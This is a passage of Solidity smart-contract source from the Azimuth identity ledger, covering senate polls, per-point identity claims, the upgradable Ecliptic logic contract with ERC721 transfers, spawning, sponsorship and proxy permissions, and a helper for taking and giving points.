// _vote is true when in favor of the proposal, false otherwise
//
function castDocumentVote(uint8 _as, bytes32 _proposal, bool _vote)
external
onlyOwner
returns (bool majority)
{
Poll storage poll = documentPolls[_proposal];
processVote(poll, _as, _vote);
return updateDocumentPoll(_proposal);
}
// processVote(): record a vote from _as on the _poll
//
function processVote(Poll storage _poll, uint8 _as, bool _vote)
internal
{
// assist symbolic execution tools
//
assert(block.timestamp >= _poll.start);
require( // may only vote once
//
!_poll.voted[_as] &&
//
// may only vote when the poll is open
//
(block.timestamp < _poll.start.add(_poll.duration)) );
// update poll state to account for the new vote
//
_poll.voted[_as] = true;
if (_vote)
{
_poll.yesVotes = _poll.yesVotes.add(1);
}
else
{
_poll.noVotes = _poll.noVotes.add(1);
}
}
// updateUpgradePoll(): check whether the _proposal has achieved
// majority, updating state, sending an event,
// and returning true if it has
//
function updateUpgradePoll(address _proposal)
public
onlyOwner
returns (bool majority)
{
// _proposal must not have achieved majority before
//
require(!upgradeHasAchievedMajority[_proposal]);
// check for majority in the poll
//
Poll storage poll = upgradePolls[_proposal];
majority = checkPollMajority(poll);
// if majority was achieved, update the state and send an event
//
if (majority)
{
upgradeHasAchievedMajority[_proposal] = true;
emit UpgradeMajority(_proposal);
}
return majority;
}
// updateDocumentPoll(): check whether the _proposal has achieved majority,
// updating the state and sending an event if it has
//
// this can be called by anyone, because the ecliptic does not
// need to be aware of the result
//
function updateDocumentPoll(bytes32 _proposal)
public
returns (bool majority)
{
// _proposal must not have achieved majority before
//
require(!documentHasAchievedMajority[_proposal]);
// check for majority in the poll
//
Poll storage poll = documentPolls[_proposal];
majority = checkPollMajority(poll);
// if majority was achieved, update state and send an event
//
if (majority)
{
documentHasAchievedMajority[_proposal] = true;
documentMajorities.push(_proposal);
emit DocumentMajority(_proposal);
}
return majority;
}
// checkPollMajority(): returns true if the majority is in favor of
// the subject of the poll
//
function checkPollMajority(Poll _poll)
internal
view
returns (bool majority)
{
return ( // poll must have at least the minimum required yes-votes
//
(_poll.yesVotes >= (totalVoters / 4)) &&
//
// and have a majority...
//
(_poll.yesVotes > _poll.noVotes) &&
//
// ...that is indisputable
//
( // either because the poll has ended
//
(block.timestamp > _poll.start.add(_poll.duration)) ||
//
// or there are more yes votes than there can be no votes
//
( _poll.yesVotes > totalVoters.sub(_poll.yesVotes) ) ) );
}
}
// Azimuth's Claims.sol
// Claims: simple identity management
//
// This contract allows points to document claims about their owner.
// Most commonly, these are about identity, with a claim's protocol
// defining the context or platform of the claim, and its dossier
// containing proof of its validity.
// Points are limited to a maximum of 16 claims.
//
// For existing claims, the dossier can be updated, or the claim can
// be removed entirely. It is recommended to remove any claims associated
// with a point when it is about to be transferred to a new owner.
// For convenience, the owner of the Azimuth contract (the Ecliptic)
// is allowed to clear claims for any point, allowing it to do this for
// you on-transfer.
//
contract Claims is ReadsAzimuth
{
// ClaimAdded: a claim was added by :by
//
event ClaimAdded( uint32 indexed by,
string _protocol,
string _claim,
bytes _dossier );
// ClaimRemoved: a claim was removed by :by
//
event ClaimRemoved(uint32 indexed by, string _protocol, string _claim);
// maxClaims: the amount of claims that can be registered per point
//
uint8 constant maxClaims = 16;
// Claim: claim details
//
struct Claim
{
// protocol: context of the claim
//
string protocol;
// claim: the claim itself
//
string claim;
// dossier: data relating to the claim, as proof
//
bytes dossier;
}
// per point, list of claims
//
mapping(uint32 => Claim[maxClaims]) public claims;
// constructor(): register the azimuth contract.
//
constructor(Azimuth _azimuth)
ReadsAzimuth(_azimuth)
public
{
//
}
// addClaim(): register a claim as _point
//
function addClaim(uint32 _point,
string _protocol,
string _claim,
bytes _dossier)
external
activePointManager(_point)
{
// cur: index + 1 of the claim if it already exists, 0 otherwise
//
uint8 cur = findClaim(_point, _protocol, _claim);
// if the claim doesn't yet exist, store it in state
//
if (cur == 0)
{
// if there are no empty slots left, this throws
//
uint8 empty = findEmptySlot(_point);
claims[_point][empty] = Claim(_protocol, _claim, _dossier);
}
//
// if the claim has been made before, update the version in state
//
else
{
claims[_point][cur-1] = Claim(_protocol, _claim, _dossier);
}
emit ClaimAdded(_point, _protocol, _claim, _dossier);
}
// removeClaim(): unregister a claim as _point
//
function removeClaim(uint32 _point, string _protocol, string _claim)
external
activePointManager(_point)
{
// i: current index + 1 in _point's list of claims
//
uint256 i = findClaim(_point, _protocol, _claim);
// we store index + 1, because 0 is the eth default value
// can only delete an existing claim
//
require(i > 0);
i--;
// clear out the claim
//
delete claims[_point][i];
emit ClaimRemoved(_point, _protocol, _claim);
}
// clearClaims(): unregister all of _point's claims
//
// can also be called by the ecliptic during point transfer
//
function clearClaims(uint32 _point)
external
{
// both point owner and ecliptic may do this
//
// We do not necessarily need to check for _point's active flag here,
// since inactive points cannot have claims set. Doing the check
// anyway would make this function slightly harder to think about due
// to its relation to Ecliptic's transferPoint().
//
require( azimuth.canManage(_point, msg.sender) ||
( msg.sender == azimuth.owner() ) );
Claim[maxClaims] storage currClaims = claims[_point];
// clear out all claims
//
for (uint8 i = 0; i < maxClaims; i++)
{
delete currClaims[i];
}
}
// findClaim(): find the index of the specified claim
//
// returns 0 if not found, index + 1 otherwise
//
function findClaim(uint32 _whose, string _protocol, string _claim)
public
view
returns (uint8 index)
{
// we use hashes of the string because solidity can't do string
// comparison yet
//
bytes32 protocolHash = keccak256(bytes(_protocol));
bytes32 claimHash = keccak256(bytes(_claim));
Claim[maxClaims] storage theirClaims = claims[_whose];
for (uint8 i = 0; i < maxClaims; i++)
{
Claim storage thisClaim = theirClaims[i];
if ( ( protocolHash == keccak256(bytes(thisClaim.protocol)) ) &&
( claimHash == keccak256(bytes(thisClaim.claim)) ) )
{
return i+1;
}
}
return 0;
}
// findEmptySlot(): find the index of the first empty claim slot
//
// returns the index of the slot, throws if there are no empty slots
//
function findEmptySlot(uint32 _whose)
internal
view
returns (uint8 index)
{
Claim[maxClaims] storage theirClaims = claims[_whose];
for (uint8 i = 0; i < maxClaims; i++)
{
Claim storage thisClaim = theirClaims[i];
if ( (0 == bytes(thisClaim.protocol).length) &&
(0 == bytes(thisClaim.claim).length) )
{
return i;
}
}
revert();
}
}
// Azimuth's EclipticBase.sol
// EclipticBase: upgradable ecliptic
//
// This contract implements the upgrade logic for the Ecliptic.
// Newer versions of the Ecliptic are expected to provide at least
// the onUpgrade() function. If they don't, upgrading to them will
// fail.
//
// Note that even though this contract doesn't specify any required
// interface members aside from upgrade() and onUpgrade(), contracts
// and clients may still rely on the presence of certain functions
// provided by the Ecliptic proper. Keep this in mind when writing
// new versions of it.
//
contract EclipticBase is Ownable, ReadsAzimuth
{
// Upgraded: _to is the new canonical Ecliptic
//
event Upgraded(address to);
// polls: senate voting contract
//
Polls public polls;
// previousEcliptic: address of the previous ecliptic this
// instance expects to upgrade from, stored and
// checked for to prevent unexpected upgrade paths
//
address public previousEcliptic;
constructor( address _previous,
Azimuth _azimuth,
Polls _polls )
ReadsAzimuth(_azimuth)
internal
{
previousEcliptic = _previous;
polls = _polls;
}
// onUpgrade(): called by previous ecliptic when upgrading
//
// in future ecliptics, this might perform more logic than
// just simple checks and verifications.
// when overriding this, make sure to call this original as well.
//
function onUpgrade()
external
{
// make sure this is the expected upgrade path,
// and that we have gotten the ownership we require
//
require( msg.sender == previousEcliptic &&
this == azimuth.owner() &&
this == polls.owner() );
}
// upgrade(): transfer ownership of the ecliptic data to the new
// ecliptic contract, notify it, then self-destruct.
//
// Note: any eth that have somehow ended up in this contract
// are also sent to the new ecliptic.
//
function upgrade(EclipticBase _new)
internal
{
// transfer ownership of the data contracts
//
azimuth.transferOwnership(_new);
polls.transferOwnership(_new);
// trigger upgrade logic on the target contract
//
_new.onUpgrade();
// emit event and destroy this contract
//
emit Upgraded(_new);
selfdestruct(_new);
}
}
// Azimuth's Ecliptic.sol
// Ecliptic: logic for interacting with the Azimuth ledger
//
// This contract is the point of entry for all operations on the Azimuth
// ledger as stored in the Azimuth data contract. The functions herein
// are responsible for performing all necessary business logic.
// Examples of such logic include verifying permissions of the caller
// and ensuring a requested change is actually valid.
// Point owners can always operate on their own points. Ethereum addresses
// can also perform specific operations if they've been given the
// appropriate permissions. (For example, managers for general management,
// spawn proxies for spawning child points, etc.)
//
// This contract uses external contracts (Azimuth, Polls) for data storage
// so that it itself can easily be replaced in case its logic needs to
// be changed. In other words, it can be upgraded. It does this by passing
// ownership of the data contracts to a new Ecliptic contract.
//
// Because of this, it is advised for clients to not store this contract's
// address directly, but rather ask the Azimuth contract for its owner
// attribute to ensure transactions get sent to the latest Ecliptic.
// Alternatively, the ENS name ecliptic.eth will resolve to the latest
// Ecliptic as well.
//
// Upgrading happens based on polls held by the senate (galaxy owners).
// Through this contract, the senate can submit proposals, opening polls
// for the senate to cast votes on. These proposals can be either hashes
// of documents or addresses of new Ecliptics.
// If an ecliptic proposal gains majority, this contract will transfer
// ownership of the data storage contracts to that address, so that it may
// operate on the data they contain. This contract will selfdestruct at
// the end of the upgrade process.
//
// This contract implements the ERC721 interface for non-fungible tokens,
// allowing points to be managed using generic clients that support the
// standard. It also implements ERC165 to allow this to be discovered.
//
contract Ecliptic is EclipticBase, SupportsInterfaceWithLookup, ERC721Metadata
{
using SafeMath for uint256;
using AddressUtils for address;
// Transfer: This emits when ownership of any NFT changes by any mechanism.
// This event emits when NFTs are created (`from` == 0) and
// destroyed (`to` == 0). At the time of any transfer, the
// approved address for that NFT (if any) is reset to none.
//
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
// Approval: This emits when the approved address for an NFT is changed or
// reaffirmed. The zero address indicates there is no approved
// address. When a Transfer event emits, this also indicates that
// the approved address for that NFT (if any) is reset to none.
//
event Approval(address indexed _owner, address indexed _approved,
uint256 _tokenId);
// ApprovalForAll: This emits when an operator is enabled or disabled for an
// owner. The operator can manage all NFTs of the owner.
//
event ApprovalForAll(address indexed _owner, address indexed _operator,
bool _approved);
// erc721Received: equal to:
// bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))
// which can be also obtained as:
// ERC721Receiver(0).onERC721Received.selector`
bytes4 constant erc721Received = 0x150b7a02;
// claims: contract reference, for clearing claims on-transfer
//
Claims public claims;
// constructor(): set data contract addresses and signal interface support
//
// Note: during first deploy, ownership of these data contracts must
// be manually transferred to this contract.
//
constructor(address _previous,
Azimuth _azimuth,
Polls _polls,
Claims _claims)
EclipticBase(_previous, _azimuth, _polls)
public
{
claims = _claims;
// register supported interfaces for ERC165
//
_registerInterface(0x80ac58cd); // ERC721
_registerInterface(0x5b5e139f); // ERC721Metadata
_registerInterface(0x7f5828d0); // ERC173 (ownership)
}
//
// ERC721 interface
//
// balanceOf(): get the amount of points owned by _owner
//
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
require(0x0 != _owner);
return azimuth.getOwnedPointCount(_owner);
}
// ownerOf(): get the current owner of point _tokenId
//
function ownerOf(uint256 _tokenId)
public
view
validPointId(_tokenId)
returns (address owner)
{
uint32 id = uint32(_tokenId);
// this will throw if the owner is the zero address,
// active points always have a valid owner.
//
require(azimuth.isActive(id));
return azimuth.getOwner(id);
}
// exists(): returns true if point _tokenId is active
//
function exists(uint256 _tokenId)
public
view
returns (bool doesExist)
{
return ( (_tokenId < 0x100000000) &&
azimuth.isActive(uint32(_tokenId)) );
}
// safeTransferFrom(): transfer point _tokenId from _from to _to
//
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public
{
// transfer with empty data
//
safeTransferFrom(_from, _to, _tokenId, "");
}
// safeTransferFrom(): transfer point _tokenId from _from to _to,
// and call recipient if it's a contract
//
function safeTransferFrom(address _from, address _to, uint256 _tokenId,
bytes _data)
public
{
// perform raw transfer
//
transferFrom(_from, _to, _tokenId);
// do the callback last to avoid re-entrancy
//
if (_to.isContract())
{
bytes4 retval = ERC721Receiver(_to)
.onERC721Received(msg.sender, _from, _tokenId, _data);
//
// standard return idiom to confirm contract semantics
//
require(retval == erc721Received);
}
}
// transferFrom(): transfer point _tokenId from _from to _to,
// WITHOUT notifying recipient contract
//
function transferFrom(address _from, address _to, uint256 _tokenId)
public
validPointId(_tokenId)
{
uint32 id = uint32(_tokenId);
require(azimuth.isOwner(id, _from));
// the ERC721 operator/approved address (if any) is
// accounted for in transferPoint()
//
transferPoint(id, _to, true);
}
// approve(): allow _approved to transfer ownership of point
// _tokenId
//
function approve(address _approved, uint256 _tokenId)
public
validPointId(_tokenId)
{
setTransferProxy(uint32(_tokenId), _approved);
}
// setApprovalForAll(): allow or disallow _operator to
// transfer ownership of ALL points
// owned by :msg.sender
//
function setApprovalForAll(address _operator, bool _approved)
public
{
require(0x0 != _operator);
azimuth.setOperator(msg.sender, _operator, _approved);
emit ApprovalForAll(msg.sender, _operator, _approved);
}
// getApproved(): get the approved address for point _tokenId
//
function getApproved(uint256 _tokenId)
public
view
validPointId(_tokenId)
returns (address approved)
{
//NOTE redundant, transfer proxy cannot be set for
// inactive points
//
require(azimuth.isActive(uint32(_tokenId)));
return azimuth.getTransferProxy(uint32(_tokenId));
}
// isApprovedForAll(): returns true if _operator is an
// operator for _owner
//
function isApprovedForAll(address _owner, address _operator)
public
view
returns (bool result)
{
return azimuth.isOperator(_owner, _operator);
}
//
// ERC721Metadata interface
//
// name(): returns the name of a collection of points
//
function name()
external
view
returns (string)
{
return "Azimuth Points";
}
// symbol(): returns an abbreviates name for points
//
function symbol()
external
view
returns (string)
{
return "AZP";
}
// tokenURI(): returns a URL to an ERC-721 standard JSON file
//
function tokenURI(uint256 _tokenId)
public
view
validPointId(_tokenId)
returns (string _tokenURI)
{
_tokenURI = "https://azimuth.network/erc721/0000000000.json";
bytes memory _tokenURIBytes = bytes(_tokenURI);
_tokenURIBytes[31] = byte(48+(_tokenId / 1000000000) % 10);
_tokenURIBytes[32] = byte(48+(_tokenId / 100000000) % 10);
_tokenURIBytes[33] = byte(48+(_tokenId / 10000000) % 10);
_tokenURIBytes[34] = byte(48+(_tokenId / 1000000) % 10);
_tokenURIBytes[35] = byte(48+(_tokenId / 100000) % 10);
_tokenURIBytes[36] = byte(48+(_tokenId / 10000) % 10);
_tokenURIBytes[37] = byte(48+(_tokenId / 1000) % 10);
_tokenURIBytes[38] = byte(48+(_tokenId / 100) % 10);
_tokenURIBytes[39] = byte(48+(_tokenId / 10) % 10);
_tokenURIBytes[40] = byte(48+(_tokenId / 1) % 10);
}
//
// Points interface
//
// configureKeys(): configure _point with network public keys
// _encryptionKey, _authenticationKey,
// and corresponding _cryptoSuiteVersion,
// incrementing the point's continuity number if needed
//
function configureKeys(uint32 _point,
bytes32 _encryptionKey,
bytes32 _authenticationKey,
uint32 _cryptoSuiteVersion,
bool _discontinuous)
external
activePointManager(_point)
{
if (_discontinuous)
{
azimuth.incrementContinuityNumber(_point);
}
azimuth.setKeys(_point,
_encryptionKey,
_authenticationKey,
_cryptoSuiteVersion);
}
// spawn(): spawn _point, then either give, or allow _target to take,
// ownership of _point
//
// if _target is the :msg.sender, _targets owns the _point right away.
// otherwise, _target becomes the transfer proxy of _point.
//
// Requirements:
// - _point must not be active
// - _point must not be a planet with a galaxy prefix
// - _point's prefix must be linked and under its spawn limit
// - :msg.sender must be either the owner of _point's prefix,
// or an authorized spawn proxy for it
//
function spawn(uint32 _point, address _target)
external
{
// only currently unowned (and thus also inactive) points can be spawned
//
require(azimuth.isOwner(_point, 0x0));
// prefix: half-width prefix of _point
//
uint16 prefix = azimuth.getPrefix(_point);
// only allow spawning of points of the size directly below the prefix
//
// this is possible because of how the address space works,
// but supporting it introduces complexity through broken assumptions.
//
// example:
// 0x0000.0000 - galaxy zero
// 0x0000.0100 - the first star of galaxy zero
// 0x0001.0100 - the first planet of the first star
// 0x0001.0000 - the first planet of galaxy zero
//
require( (uint8(azimuth.getPointSize(prefix)) + 1) ==
uint8(azimuth.getPointSize(_point)) );
// prefix point must be linked and able to spawn
//
require( (azimuth.hasBeenLinked(prefix)) &&
( azimuth.getSpawnCount(prefix) <
getSpawnLimit(prefix, block.timestamp) ) );
// the owner of a prefix can always spawn its children;
// other addresses need explicit permission (the role
// of "spawnProxy" in the Azimuth contract)
//
require( azimuth.canSpawnAs(prefix, msg.sender) );
// if the caller is spawning the point to themselves,
// assume it knows what it's doing and resolve right away
//
if (msg.sender == _target)
{
doSpawn(_point, _target, true, 0x0);
}
//
// when sending to a "foreign" address, enforce a withdraw pattern
// making the _point prefix's owner the _point owner in the mean time
//
else
{
doSpawn(_point, _target, false, azimuth.getOwner(prefix));
}
}
// doSpawn(): actual spawning logic, used in spawn(). creates _point,
// making the _target its owner if _direct, or making the
// _holder the owner and the _target the transfer proxy
// if not _direct.
//
function doSpawn( uint32 _point,
address _target,
bool _direct,
address _holder )
internal
{
// register the spawn for _point's prefix, incrementing spawn count
//
azimuth.registerSpawned(_point);
// if the spawn is _direct, assume _target knows what they're doing
// and resolve right away
//
if (_direct)
{
// make the point active and set its new owner
//
azimuth.activatePoint(_point);
azimuth.setOwner(_point, _target);
emit Transfer(0x0, _target, uint256(_point));
}
//
// when spawning indirectly, enforce a withdraw pattern by approving
// the _target for transfer of the _point instead.
// we make the _holder the owner of this _point in the mean time,
// so that it may cancel the transfer (un-approve) if _target flakes.
// we don't make _point active yet, because it still doesn't really
// belong to anyone.
//
else
{
// have _holder hold on to the _point while _target gets to transfer
// ownership of it
//
azimuth.setOwner(_point, _holder);
azimuth.setTransferProxy(_point, _target);
emit Transfer(0x0, _holder, uint256(_point));
emit Approval(_holder, _target, uint256(_point));
}
}
// transferPoint(): transfer _point to _target, clearing all permissions
// data and keys if _reset is true
//
// Note: the _reset flag is useful when transferring the point to
// a recipient who doesn't trust the previous owner.
//
// Requirements:
// - :msg.sender must be either _point's current owner, authorized
// to transfer _point, or authorized to transfer the current
// owner's points (as in ERC721's operator)
// - _target must not be the zero address
//
function transferPoint(uint32 _point, address _target, bool _reset)
public
{
// transfer is legitimate if the caller is the current owner, or
// an operator for the current owner, or the _point's transfer proxy
//
require(azimuth.canTransfer(_point, msg.sender));
// if the point wasn't active yet, that means transferring it
// is part of the "spawn" flow, so we need to activate it
//
if ( !azimuth.isActive(_point) )
{
azimuth.activatePoint(_point);
}
// if the owner would actually change, change it
//
// the only time this deliberately wouldn't be the case is when a
// prefix owner wants to activate a spawned but untransferred child.
//
if ( !azimuth.isOwner(_point, _target) )
{
// remember the previous owner, to be included in the Transfer event
//
address old = azimuth.getOwner(_point);
azimuth.setOwner(_point, _target);
// according to ERC721, the approved address (here, transfer proxy)
// gets cleared during every Transfer event
//
azimuth.setTransferProxy(_point, 0);
emit Transfer(old, _target, uint256(_point));
}
// reset sensitive data
// used when transferring the point to a new owner
//
if ( _reset )
{
// clear the network public keys and break continuity,
// but only if the point has already been linked
//
if ( azimuth.hasBeenLinked(_point) )
{
azimuth.incrementContinuityNumber(_point);
azimuth.setKeys(_point, 0, 0, 0);
}
// clear management proxy
//
azimuth.setManagementProxy(_point, 0);
// clear voting proxy
//
azimuth.setVotingProxy(_point, 0);
// clear transfer proxy
//
// in most cases this is done above, during the ownership transfer,
// but we might not hit that and still be expected to reset the
// transfer proxy.
// doing it a second time is a no-op in Azimuth.
//
azimuth.setTransferProxy(_point, 0);
// clear spawning proxy
//
azimuth.setSpawnProxy(_point, 0);
// clear claims
//
claims.clearClaims(_point);
}
}
// escape(): request escape as _point to _sponsor
//
// if an escape request is already active, this overwrites
// the existing request
//
// Requirements:
// - :msg.sender must be the owner or manager of _point,
// - _point must be able to escape to _sponsor as per to canEscapeTo()
//
function escape(uint32 _point, uint32 _sponsor)
external
activePointManager(_point)
{
require(canEscapeTo(_point, _sponsor));
azimuth.setEscapeRequest(_point, _sponsor);
}
// cancelEscape(): cancel the currently set escape for _point
//
function cancelEscape(uint32 _point)
external
activePointManager(_point)
{
azimuth.cancelEscape(_point);
}
// adopt(): as the relevant sponsor, accept the _point
//
// Requirements:
// - :msg.sender must be the owner or management proxy
// of _point's requested sponsor
//
function adopt(uint32 _point)
external
{
require( azimuth.isEscaping(_point) &&
azimuth.canManage( azimuth.getEscapeRequest(_point),
msg.sender ) );
// _sponsor becomes _point's sponsor
// its escape request is reset to "not escaping"
//
azimuth.doEscape(_point);
}
// reject(): as the relevant sponsor, deny the _point's request
//
// Requirements:
// - :msg.sender must be the owner or management proxy
// of _point's requested sponsor
//
function reject(uint32 _point)
external
{
require( azimuth.isEscaping(_point) &&
azimuth.canManage( azimuth.getEscapeRequest(_point),
msg.sender ) );
// reset the _point's escape request to "not escaping"
//
azimuth.cancelEscape(_point);
}
// detach(): as the _sponsor, stop sponsoring the _point
//
// Requirements:
// - :msg.sender must be the owner or management proxy
// of _point's current sponsor
//
function detach(uint32 _point)
external
{
require( azimuth.hasSponsor(_point) &&
azimuth.canManage(azimuth.getSponsor(_point), msg.sender) );
// signal that its sponsor no longer supports _point
//
azimuth.loseSponsor(_point);
}
//
// Point rules
//
// getSpawnLimit(): returns the total number of children the _point
// is allowed to spawn at _time.
//
function getSpawnLimit(uint32 _point, uint256 _time)
public
view
returns (uint32 limit)
{
Azimuth.Size size = azimuth.getPointSize(_point);
if ( size == Azimuth.Size.Galaxy )
{
return 255;
}
else if ( size == Azimuth.Size.Star )
{
// in 2019, stars may spawn at most 1024 planets. this limit doubles
// for every subsequent year.
//
// Note: 1546300800 corresponds to 2019-01-01
//
uint256 yearsSince2019 = (_time - 1546300800) / 365 days;
if (yearsSince2019 < 6)
{
limit = uint32( 1024 * (2 ** yearsSince2019) );
}
else
{
limit = 65535;
}
return limit;
}
else // size == Azimuth.Size.Planet
{
// planets can create moons, but moons aren't on the chain
//
return 0;
}
}
// canEscapeTo(): true if _point could try to escape to _sponsor
//
function canEscapeTo(uint32 _point, uint32 _sponsor)
public
view
returns (bool canEscape)
{
// can't escape to a sponsor that hasn't been linked
//
if ( !azimuth.hasBeenLinked(_sponsor) ) return false;
// Can only escape to a point one size higher than ourselves,
// except in the special case where the escaping point hasn't
// been linked yet -- in that case we may escape to points of
// the same size, to support lightweight invitation chains.
//
// The use case for lightweight invitations is that a planet
// owner should be able to invite their friends onto an
// Azimuth network in a two-party transaction, without a new
// star relationship.
// The lightweight invitation process works by escaping your
// own active (but never linked) point to one of your own
// points, then transferring the point to your friend.
//
// These planets can, in turn, sponsor other unlinked planets,
// so the "planet sponsorship chain" can grow to arbitrary
// length. Most users, especially deep down the chain, will
// want to improve their performance by switching to direct
// star sponsors eventually.
//
Azimuth.Size pointSize = azimuth.getPointSize(_point);
Azimuth.Size sponsorSize = azimuth.getPointSize(_sponsor);
return ( // normal hierarchical escape structure
//
( (uint8(sponsorSize) + 1) == uint8(pointSize) ) ||
//
// special peer escape
//
( (sponsorSize == pointSize) &&
//
// peer escape is only for points that haven't been linked
// yet, because it's only for lightweight invitation chains
//
!azimuth.hasBeenLinked(_point) ) );
}
//
// Permission management
//
// setManagementProxy(): configure the management proxy for _point
//
// The management proxy may perform "reversible" operations on
// behalf of the owner. This includes public key configuration and
// operations relating to sponsorship.
//
function setManagementProxy(uint32 _point, address _manager)
external
activePointOwner(_point)
{
azimuth.setManagementProxy(_point, _manager);
}
// setSpawnProxy(): give _spawnProxy the right to spawn points
// with the prefix _prefix
//
function setSpawnProxy(uint16 _prefix, address _spawnProxy)
external
activePointOwner(_prefix)
{
azimuth.setSpawnProxy(_prefix, _spawnProxy);
}
// setVotingProxy(): configure the voting proxy for _galaxy
//
// the voting proxy is allowed to start polls and cast votes
// on the point's behalf.
//
function setVotingProxy(uint8 _galaxy, address _voter)
external
activePointOwner(_galaxy)
{
azimuth.setVotingProxy(_galaxy, _voter);
}
// setTransferProxy(): give _transferProxy the right to transfer _point
//
// Requirements:
// - :msg.sender must be either _point's current owner,
// or be an operator for the current owner
//
function setTransferProxy(uint32 _point, address _transferProxy)
public
{
// owner: owner of _point
//
address owner = azimuth.getOwner(_point);
// caller must be :owner, or an operator designated by the owner.
//
require((owner == msg.sender) || azimuth.isOperator(owner, msg.sender));
// set transfer proxy field in Azimuth contract
//
azimuth.setTransferProxy(_point, _transferProxy);
// emit Approval event
//
emit Approval(owner, _transferProxy, uint256(_point));
}
//
// Poll actions
//
// startUpgradePoll(): as _galaxy, start a poll for the ecliptic
// upgrade _proposal
//
// Requirements:
// - :msg.sender must be the owner or voting proxy of _galaxy,
// - the _proposal must expect to be upgraded from this specific
// contract, as indicated by its previousEcliptic attribute
//
function startUpgradePoll(uint8 _galaxy, EclipticBase _proposal)
external
activePointVoter(_galaxy)
{
// ensure that the upgrade target expects this contract as the source
//
require(_proposal.previousEcliptic() == address(this));
polls.startUpgradePoll(_proposal);
}
// startDocumentPoll(): as _galaxy, start a poll for the _proposal
//
// the _proposal argument is the keccak-256 hash of any arbitrary
// document or string of text
//
function startDocumentPoll(uint8 _galaxy, bytes32 _proposal)
external
activePointVoter(_galaxy)
{
polls.startDocumentPoll(_proposal);
}
// castUpgradeVote(): as _galaxy, cast a _vote on the ecliptic
// upgrade _proposal
//
// _vote is true when in favor of the proposal, false otherwise
//
// If this vote results in a majority for the _proposal, it will
// be upgraded to immediately.
//
function castUpgradeVote(uint8 _galaxy,
EclipticBase _proposal,
bool _vote)
external
activePointVoter(_galaxy)
{
// majority: true if the vote resulted in a majority, false otherwise
//
bool majority = polls.castUpgradeVote(_galaxy, _proposal, _vote);
// if a majority is in favor of the upgrade, it happens as defined
// in the ecliptic base contract
//
if (majority)
{
upgrade(_proposal);
}
}
// castDocumentVote(): as _galaxy, cast a _vote on the _proposal
//
// _vote is true when in favor of the proposal, false otherwise
//
function castDocumentVote(uint8 _galaxy, bytes32 _proposal, bool _vote)
external
activePointVoter(_galaxy)
{
polls.castDocumentVote(_galaxy, _proposal, _vote);
}
// updateUpgradePoll(): check whether the _proposal has achieved
// majority, upgrading to it if it has
//
function updateUpgradePoll(EclipticBase _proposal)
external
{
// majority: true if the poll ended in a majority, false otherwise
//
bool majority = polls.updateUpgradePoll(_proposal);
// if a majority is in favor of the upgrade, it happens as defined
// in the ecliptic base contract
//
if (majority)
{
upgrade(_proposal);
}
}
// updateDocumentPoll(): check whether the _proposal has achieved majority
//
// Note: the polls contract publicly exposes the function this calls,
// but we offer it in the ecliptic interface as a convenience
//
function updateDocumentPoll(bytes32 _proposal)
external
{
polls.updateDocumentPoll(_proposal);
}
//
// Contract owner operations
//
// createGalaxy(): grant _target ownership of the _galaxy and register
// it for voting
//
function createGalaxy(uint8 _galaxy, address _target)
external
onlyOwner
{
// only currently unowned (and thus also inactive) galaxies can be
// created, and only to non-zero addresses
//
require( azimuth.isOwner(_galaxy, 0x0) &&
0x0 != _target );
// new galaxy means a new registered voter
//
polls.incrementTotalVoters();
// if the caller is sending the galaxy to themselves,
// assume it knows what it's doing and resolve right away
//
if (msg.sender == _target)
{
doSpawn(_galaxy, _target, true, 0x0);
}
//
// when sending to a "foreign" address, enforce a withdraw pattern,
// making the caller the owner in the mean time
//
else
{
doSpawn(_galaxy, _target, false, msg.sender);
}
}
function setDnsDomains(string _primary, string _secondary, string _tertiary)
external
onlyOwner
{
azimuth.setDnsDomains(_primary, _secondary, _tertiary);
}
//
// Function modifiers for this contract
//
// validPointId(): require that _id is a valid point
//
modifier validPointId(uint256 _id)
{
require(_id < 0x100000000);
_;
}
// activePointVoter(): require that :msg.sender can vote as _point,
// and that _point is active
//
modifier activePointVoter(uint32 _point)
{
require( azimuth.canVoteAs(_point, msg.sender) &&
azimuth.isActive(_point) );
_;
}
}
// Azimuth's TakesPoints.sol
contract TakesPoints is ReadsAzimuth
{
constructor(Azimuth _azimuth)
ReadsAzimuth(_azimuth)
public
{
//
}
// takePoint(): transfer _point to this contract. if _clean is true, require
// that the point be unlinked.
// returns true if this succeeds, false otherwise.
//
function takePoint(uint32 _point, bool _clean)
internal
returns (bool success)
{
Ecliptic ecliptic = Ecliptic(azimuth.owner());
// There are two ways for a contract to get a point.
// One way is for a prefix point to grant the contract permission to
// spawn its points.
// The contract will spawn the point directly to itself.
//
uint16 prefix = azimuth.getPrefix(_point);
if ( azimuth.isOwner(_point, 0x0) &&
azimuth.isOwner(prefix, msg.sender) &&
azimuth.isSpawnProxy(prefix, this) &&
(ecliptic.getSpawnLimit(prefix, now) > azimuth.getSpawnCount(prefix)) )
{
// first model: spawn _point to :this contract
//
ecliptic.spawn(_point, this);
return true;
}
// The second way is to accept existing points, optionally
// requiring they be unlinked.
// To deposit a point this way, the owner grants the contract
// permission to transfer ownership of the point.
// The contract will transfer the point to itself.
//
if ( (!_clean || !azimuth.hasBeenLinked(_point)) &&
azimuth.isOwner(_point, msg.sender) &&
azimuth.canTransfer(_point, this) )
{
// second model: transfer active, unlinked _point to :this contract
//
ecliptic.transferPoint(_point, this, true);
return true;
}
// point is not for us to take
//
return false;
}
// givePoint(): transfer a _point we own to _to, optionally resetting.
// returns true if this succeeds, false otherwise.
//
// Note that _reset is unnecessary if the point was taken
// using this contract's takePoint() function, which always
// resets, and not touched since.
//
function givePoint(uint32 _point, address _to, bool _reset)
internal
returns (bool success)
{
// only give points we've taken, points we fully own
//
if (azimuth.isOwner(_point, this))
{
Ecliptic(azimuth.owner()).transferPoint(_point, _to, _reset);
return true;
}
// point is not for us to give
//
return false;
}
}
////////////////////////////////////////////////////////////////////////////////
// ConditionalStarRelease
////////////////////////////////////////////////////////////////////////////////
// ConditionalStarRelease: star transfer over time, based on conditions
//
// This contract allows its owner to transfer batches of stars to a
// recipient (also "participant") gradually over time, assuming
// the specified conditions are met.
//
// This contract represents a single set of conditions and corresponding
// deadlines (up to eight) which get configured during contract creation.
// The conditions take the form of hashes, and they are checked for
// by looking at the Polls contract. A condition is met if it has
// achieved a majority in the Polls contract, or its deadline has
// passed.
// Completion timestamps are stored for each completed condition.
// They are equal to the time at which majority was observed, or
// the condition's deadline, whichever comes first.
//
